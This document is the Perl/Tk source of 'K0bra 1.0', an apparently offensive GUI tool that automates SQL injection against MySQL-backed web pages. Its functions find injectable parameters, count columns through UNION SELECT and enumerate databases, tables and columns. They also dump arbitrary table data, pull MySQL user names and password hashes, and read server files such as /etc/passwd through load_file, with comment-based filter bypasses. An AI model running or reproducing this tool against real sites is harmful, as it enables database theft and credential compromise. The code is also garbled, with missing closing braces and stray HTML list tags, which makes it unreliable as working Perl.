[Perl Tk] K0bra 1.0

 

use Tk;

use Tk::ROText;

use LWP::UserAgent;

use URI::Split qw(uri_split);

use Win32;

 

my $bypass = "--";

my $save = "";

 

if ($^O eq 'MSWin32') {

use Win32::Console;

Win32::Console::Free();

 

my $nave = LWP::UserAgent->new();

 

my $logo = MainWindow->new();

$logo->Label(-text=>"Target : ",-font=>"Impact1")->place(-x=>25,-y=>20);

my $targetero = $logo->Entry(-width=>50,-text=>"http://127.0.0.1/sql.php?id=")->place(-y=>23,-x=>90);

$logo->Button(-text=>"Scan",-width=>10,-command=>\&start)->place(-y=>20,-x=>400);

$logo->Label(-text=>"Options",-font=>"Impact1")->place(-x=>210,-y=>70);

$logo->Button(-text=>"Get DBS",-width=>10,-command=>\&getdbs)->place(-y=>110,-x=>40);

$logo->Button(-text=>"Get Tables",-width=>10,-command=>\&schematablesdb)->place(-y=>110,-x=>120);

$logo->Button(-text=>"Get Columns",-width=>10,-command=>\&schemacolumnsdb)->place(-y=>110,-x=>200);

$logo->Button(-text=>"mysql users",-width=>15,-command=>\&mynow)->place(-y=>110,-x=>280);

$logo->Button(-text=>"load_file",-width=>10,-command=>\&myfile)->place(-y=>110,-x=>390);

 

$logo->Button(-text=>"Dump",-width=>10,-command=>\&dum)->place(-y=>150,-x=>90);

$logo->Button(-text=>"Hex",-width=>10,-command=>\&per1)->place(-y=>150,-x=>170);

$logo->Button(-text=>"ASCII",-width=>15,-command=>\&per2)->place(-y=>150,-x=>250);

$logo->Button(-text=>"Show Logs",-width=>10,-command=>\&china)->place(-y=>150,-x=>360);

 

$logo->Label(-text=>"Details : ",-font=>"Impact1")->place(-y=>230,-x=>90);

 

my $informatero = $logo->Listbox(-height=>5,-width=>40)->place(-y=>210,-x=>160);

 

$logo->Label(-text=>"Databases",-font=>"Impact1")->place(-y=>320,-x=>60);

$logo->Label(-text=>"Tables",-font=>"Impact1")->place(-y=>320,-x=>190);

$logo->Label(-text=>"Columns",-font=>"Impact1")->place(-y=>320,-x=>330);

 

my $datero = $logo->Listbox(-width=>20)->place(-y=>350,-x=>40);

my $tablero = $logo->Listbox(-width=>20)->place(-y=>350,-x=>180);

my $columnero = $logo->Listbox(-width=>20)->place(-y=>350,-x=>320);

 

MainLoop;

 

sub start {

 

 

my $tengo = $targetero->get;

 

my ($gen,$save,$control) = &length($tengo,"--");

if ($control eq 1) {

$targetero->configure(-text=>$gen);

details($gen,$bypass,$save);

} else {

Win32::MsgBox("Not found length columns",0,"K0bra 1.0");

}

 

sub length {

my $rows  = "0";

my $asc;

my $page = $_[0];

($pass1,$pass2) = &bypass($_[1]);

$inyection = $page."1".$pass1."and".$pass1."1=0".$pass1."order".$pass1."by"."9999999999".$pass2;

$code = toma($inyection);

 

if ($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~ /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/Call to undefined function/ig) {

 

 

my $testar1 = toma($page."1".$pass1."and".$pass1."1=0".$pass2);

my $testar2 = toma($page."1".$pass1."and".$pass1."1=1".$pass2);

 

unless ($testar1 eq $testar2) {

my $patha = $1;

chomp $patha;

$alert = "char(".ascii("RATSXPDOWN1RATSXPDOWN").")";

$total = "1";

for my $rows(2..200) {

$asc.= ","."char(".ascii("RATSXPDOWN".$rows."RATSXPDOWN").")";

$total.= ",".$rows;

$injection = $page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$alert.$asc;

$test = toma($injection);

if ($test=~/RATSXPDOWN/) {

@number = $test =~m{RATSXPDOWN(\d+)RATSXPDOWN}g;

$control = 1;

my $save = comer($_[0]);

savefile($save.".txt","\n[Target confirmed] : $page");

savefile($save.".txt","[Bypass] : $_[1]\n");

savefile($save.".txt","[Limit] : The site has $rows columns");

savefile($save.".txt","[Data] : The number @number print data");

$informatero->insert("end","</li><li type="square"> The site has $rows columns");[/li][/list]

$informatero->insert("end","</li><li type="square"> The number @number print data");[/li][/list]

if ($patha) {

savefile($save.".txt","[Full Path Discloure] : $patha");

$total=~s/$number[0]/hackman/;

savefile($save.".txt","[SQLI] : ".$page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total);

} else {

Win32::MsgBox("Not vulnerable",0,"K0bra 1.0");

 

sub details {

my ($page,$bypass,$save) = @_;

($pass1,$pass2) = &bypass($bypass);

savefile($save.".txt","\n");

if ($page=~/(.*)hackman(.*)/ig) {

my  ($start,$end) = ($1,$2);

$inforschema = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."information_schema.tables".$pass2;

$mysqluser = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."mysql.user".$pass2;

$test3 = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);

$test1 = toma($inforschema);

$test2 = toma($mysqluser);

if ($test2=~/ERTOR854/ig) {

savefile($save.".txt","[mysql.user] : ON");

} else {

savefile($save.".txt","[mysql.user] : OFF");

if ($test1=~/ERTOR854/ig) {

savefile($save.".txt","[information_schema.tables] : ON");

} else {

savefile($save.".txt","[information_schema.tables] : OFF");

if ($test3=~/ERTOR854/ig) {

savefile($save.".txt","[load_file] : ".$start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);

$concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))";

$injection = $start.$concat.$end.$pass2;

$code = toma($injection);

if ($code=~/ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g) {

$informatero->insert("end","</li><li type="square"> DB Version : $1");[/li][/list]

$informatero->insert("end","</li><li type="square"> DB Name : $2");[/li][/list]

$informatero->insert("end","</li><li type="square"> user_name : $3");[/li][/list]

savefile($save.".txt","\n[!] DB Version : $1\n[!] DB Name : $2\n[!] user_name : $3\n");

} else {

Win32::MsgBox("Not Found DB Info",0,"K0bra 1.0");

 

 

sub getdbs {

my $page = $targetero->get;

my $save = comer($page);

my $page1 = $page;

savefile($save.".txt","\n");

($pass1,$pass2) = &bypass($bypass);

$page=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;

$code = toma($page.$pass1."from".$pass1."information_schema.schemata");

if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {

my $limita = $1;

savefile($save.".txt","</li><li type="square"> Databases Length : $limita\n");[/li][/list]

$page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),schema_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;

$real = "1";

for my $limit(0..$limita) {

$code = toma($page1.$pass1."from".$pass1."information_schema.schemata".$pass1."limit".$pass1.$limit.",1".$pass2);

if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {

my $control = $1;

if ($control ne "information_schema" and $control ne "mysql" and $control ne "phpmyadmin") {

savefile($save.".txt","[Database $real Found] : $control");

} else {

Win32::MsgBox("information_schema not found",0,"K0bra 1.0");

 

 

sub schematablesdb {

 

 

my $page = $targetero->get;

 

my $save = comer($page);

 

$d = $datero->curselection();

 

for my $id (@$d) {

my $db = $datero->get($id);

 

my $page1 = $page;

savefile($save.".txt","\n");

($pass1,$pass2) = &bypass($bypass);

savefile($save.".txt","[DB] : $db");

$page =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;

$page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;

$code = toma($page1.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2);

if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {  

savefile($save.".txt","</li><li type="square"> Tables Length :  $1\n");[/li][/list]

my $limit = $1;

$real = "1";

for my $lim(0..$limit) {

$code1 = toma($page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2);

if ($code1 =~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {

my $table = $1;

chomp $table;

savefile($save.".txt","[Table $real Found : $table ]");

} else {

Win32::MsgBox("information_schema not found",0,"K0bra 1.0");

 

sub schemacolumnsdb {

 

 

my $page = $targetero->get;

my $save = comer($page);

 

$d = $tablero->curselection();

 

for my $id (@$d) {

my $da = $tablero->get($id);

 

if ($da=~/(.*)\.(.*)/) {

my ($db,$table) = ($1,$2);

 

my $page3 = $page;

my $page4 = $page;

 

savefile($save.".txt","\n");

($pass1,$pass2) = &bypass($bypass);

savefile($save.".txt","\n[DB] : $db");

savefile($save.".txt","[Table] : $table");

$page3=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;

$code3 = toma($page3.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii($db).")".$pass2);

if ($code3=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {

savefile($save.".txt","[Columns length : $1 ]\n");

my $si = $1;

chomp $si;

$page4=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;

$real = "1";

for my $limit2(0..$si) {

$code4 = toma($page4.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$limit2.",1".$pass2);

if ($code4=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {

savefile($save.".txt","[Column $real] : $1");

} else {

Win32::MsgBox("information_schema not found",0,"K0bra 1.0");

 

sub mynow {

 

my $p = $targetero->get;

 

$mi = MainWindow->new();

 

$mi->Label(-text=>"Target : ",-font=>"Impact1")->place(-x=>50,-y=>20);

my $guix = $mi->Entry(-width=>40,-text=>$p)->place(-y=>23,-x=>110);

$mi->Button(-width=>10,-text=>"Extract",-command=>\&tengorax)->place(-y=>20,-x=>360);

 

$mi->Label(-text=>"Host",-font=>"Impact1")->place(-x=>60,-y=>120);

$mi->Label(-text=>"User",-font=>"Impact1")->place(-x=>200,-y=>120);

$mi->Label(-text=>"Password",-font=>"Impact1")->place(-x=>360,-y=>120);

 

my $hostero = $mi->Listbox(-width=>20)->place(-y=>150,-x=>40);

my $usero = $mi->Listbox(-width=>23)->place(-y=>150,-x=>180);

my $pasero = $mi->Listbox(-width=>20)->place(-y=>150,-x=>340);

 

 

sub tengorax {

 

my $page = $guix->get;

my $save = comer($page);

 

my $cop = $page;

my $cop1 = $page;

savefile($save.".txt","\n");

 

($pass1,$pass2) = &bypass($bypass);

$page =~s/hackman/concat(char(82,65,84,83,88,80,68,79,87,78,49))/;

$code = toma($page.$pass1."from".$pass1."mysql.user".$pass2);

if ($code=~/RATSXPDOWN/ig){

$cop1 =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;

$code1 = toma($cop1.$pass1."from".$pass1."mysql.user".$pass2);

if ($code1=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {

savefile($save.".txt","\n</li><li type="square"> Users mysql Found : $1\n");[/li][/list]

for my $limit(0..$1) {

$mi->update;

$cop =~s/hackman/unhex(hex(concat(0x524154535850444f574e,Host,0x524154535850444f574e,User,0x524154535850444f574e,Password,0x524154535850444f574e)))/;

$code = toma($cop.$pass1."from".$pass1."mysql.user".$pass1."limit".$pass1.$limit.",1".$pass2);

if ($code=~/RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN/ig) {

savefile($save.".txt","[Host] : $1 [User] : $2 [Password] : $3");

} else {

} else {

Win32::MsgBox("mysql.user not found",0,"K0bra 1.0");

 

sub myfile {

 

my $pag = $targetero->get;

 

$loa = MainWindow->new();

 

$loa->Label(-text=>"Target : ",-font=>"Impact1")->place(-x=>20,-y=>20);

my $aa = $loa->Entry(-width=>40,-text=>$pag)->place(-y=>23,-x=>80);

$loa->Label(-text=>"File : ",-font=>"Impact1")->place(-y=>60,-x=>23);

my $tea = $loa->Entry(-width=>20,-text=>"C:\leer.txt")->place(-y=>63,-x=>63);

$loa->Button(-text=>"Encode",-width=>8,-command=>\&eno)->place(-y=>62,-x=>200);

$loa->Button(-text=>"Show",-width=>8,-command=>\&ena)->place(-y=>62,-x=>263);

 

$loa->Label(-text=>"Output",-font=>"Impact1")->place(-x=>160,-y=>130);

my $mo = $loa->ROText(-width=>45,-height=>15)->place(-y=>170,-x=>25);

 

sub eno {

my $t = $tea->get;

if ($t=~/0x/) {

$tea->configure(-text=>decode($t));

} else {

$tea->configure(-text=>encode($t));

 

sub ena {

 

 

my $page = $aa->get;

my $save = comer($page);

 

savefile($save.".txt","\n");

($pass1,$pass2) = &bypass($bypass);

if ($page =~/(.*)hackman(.*)/g) {

my $start = $1; my $end = $2;

my $file = $tea->get;

$concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(".encode($file)."),char(69,82,84,79,82,56,53,52))))";

$code = toma($start.$concat.$end.$pass2);

if ($code =~/ERTOR854(.*)ERTOR854/g) {

savefile($save.".txt","[File Found] : $file");

savefile($save.".txt","\n[Source Start]\n");

savefile($save.".txt","$1");

savefile($save.".txt","\n[Source End]\n");

} else {

Win32::MsgBox("Error",0,"K0bra 1.0");

 

sub dum {

 

my $pa = $targetero->get;

 

$max = MainWindow->new();

 

$max->Label(-text=>"Target : ",-font=>"Impact1")->place(-x=>50,-y=>20);

my $tata = $max->Entry(-width=>40,-text=>$pa)->place(-y=>23,-x=>110);

 

$max->Label(-text=>"Table : ",-font=>"Impact1")->place(-x=>50,-y=>60);

my $tato = $max->Entry(-width=>20)->place(-x=>105,-y=>63);

 

$max->Label(-text=>"Column1 : ",-font=>"Impact1")->place(-y=>90,-x=>50);

my $tatu = $max->Entry(-width=>20)->place(-x=>130,-y=>93);

 

$max->Label(-text=>"Column2 : ",-font=>"Impact1")->place(-y=>130,-x=>50);

my $tita= $max->Entry(-width=>20)->place(-y=>133,-x=>130);

 

 

$max->Button(-width=>10,-text=>"Extract",-command=>\&tengor)->place(-y=>20,-x=>360);

 

$max->Label(-text=>"Column1",-font=>"Impact1")->place(-x=>100,-y=>180);

$max->Label(-text=>"Column2",-font=>"Impact1")->place(-x=>300,-y=>180);

 

my $duta1 = $max->Listbox(-width=>20)->place(-y=>210,-x=>70);

my $duta2 = $max->Listbox(-width=>23)->place(-y=>210,-x=>260);

 

 

sub tengor {

 

 

my $page = $tata->get;

my $tabla = $tato->get;

my $col1 = $tatu->get;

my $col2 = $tita->get;

 

my $save = comer($page);

 

savefile($save.".txt","\n");

 

($pass1,$pass2) = &bypass($bypass);

if ($page=~/(.*)hackman(.*)/){

my $start = $1;

my $end = $2;

$concatx = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),count($col1),char(69,82,84,79,82,56,53,52))))";

$val_code = toma($start.$concatx.$end.$pass1."from".$pass1.$tabla.$pass2);

$concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$col1,char(69,82,84,79,82,56,53,52),$col2,char(69,82,84,79,82,56,53,52))))";

if ($val_code=~/ERTOR854(.*)ERTOR854/ig) {

$tota = $1;

savefile($save.".txt","[Table] : $tabla");

savefile($save.".txt","</li><li type="square"> Length of the rows: $tota\n");[/li][/list]

savefile($save.".txt","[$col1] [$col2]\n");

for my $limit(0..$tota) {

chomp $limit;

$injection = toma($start.$concat.$end.$pass1."from".$pass1.$tabla.$pass1."limit".$pass1.$limit.",1".$pass2);

if ($injection=~/ERTOR854(.*)ERTOR854(.*)ERTOR854/ig) {

savefile($save.".txt","[$col1] : $1   [$col2] : $2");

} else {

} else {

Win32::MsgBox("Error",0,"K0bra 1.0");

 

sub per1 {

 

my $he = MainWindow->new();

$he->Label(-text=>"Text : ",-font=>"Impact1")->place(-x=>20,-y=>20);

my $cam = $he->Entry(-width=>30)->place(-y=>24,-x=>65);

$he->Button(-text=>"Encode",-width=>10,-command=>\&paso1)->place(-y=>20,-x=>255);

$he->Button(-text=>"Decode",-width=>10,-command=>\&paso2)->place(-y=>20,-x=>325);

 

sub paso1 {

 

my $caca = $cam->get();

chomp $caca;

 

$cam->configure(-text=>encode($caca));

 

 

sub paso2 {

 

my $caca = $cam->get();

chomp $caca;

 

$cam->configure(-text=>decode($caca));

 

 

 

sub per2 {

 

my $hexae = MainWindow->new();

$hexae->Label(-text=>"Text : ",-font=>"Impact1")->place(-x=>20,-y=>20);

my $cama = $hexae->Entry(-width=>30)->place(-y=>24,-x=>65);

$hexae->Button(-text=>"Encode",-width=>10,-command=>\&paso3)->place(-y=>20,-x=>255);

$hexae->Button(-text=>"Decode",-width=>10,-command=>\&paso4)->place(-y=>20,-x=>325);

 

 

sub paso3 {

 

my $caca = $cama->get();

chomp $caca;

 

$cama->configure(-text=>ascii($caca));

 

 

sub paso4 {

 

my $caca = $cama->get();

chomp $caca;

 

$cama->configure(-text=>ascii_de($caca));

 

 

 

sub china {

my $de = $targetero->get;

my $save = comer($de);

my $file = $save.".txt";

 

sub bypass {

if ($_[0] eq "/*") { return ("/**/","/*"); }

elsif ($_[0] eq "%20") { return ("%20","%00"); }

else {return ("+","--");}}

 

sub ascii {

return join ',',unpack "U*",$_[0];

 

sub ascii_de {

$_[0] = join q[], map { chr } split q[,],$_[0];

return $_[0];

 

 

sub encode {

my $string = $_[0];

$hex = '0x';

for (split //,$string) {

$hex .= sprintf "%x", ord;

return $hex;

 

sub decode {

$_[0] =~ s/^0x//;

$encode = join q[], map { chr hex } $_[0] =~ /../g;

return $encode;

 

 

sub toma {

return $nave->get($_[0])->content;

 

sub savefile {

open (SAVE,">>logs/webs/".$_[0]);

print SAVE $_[1]."\n";

close SAVE;

 

sub comer {

my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);

return $auth;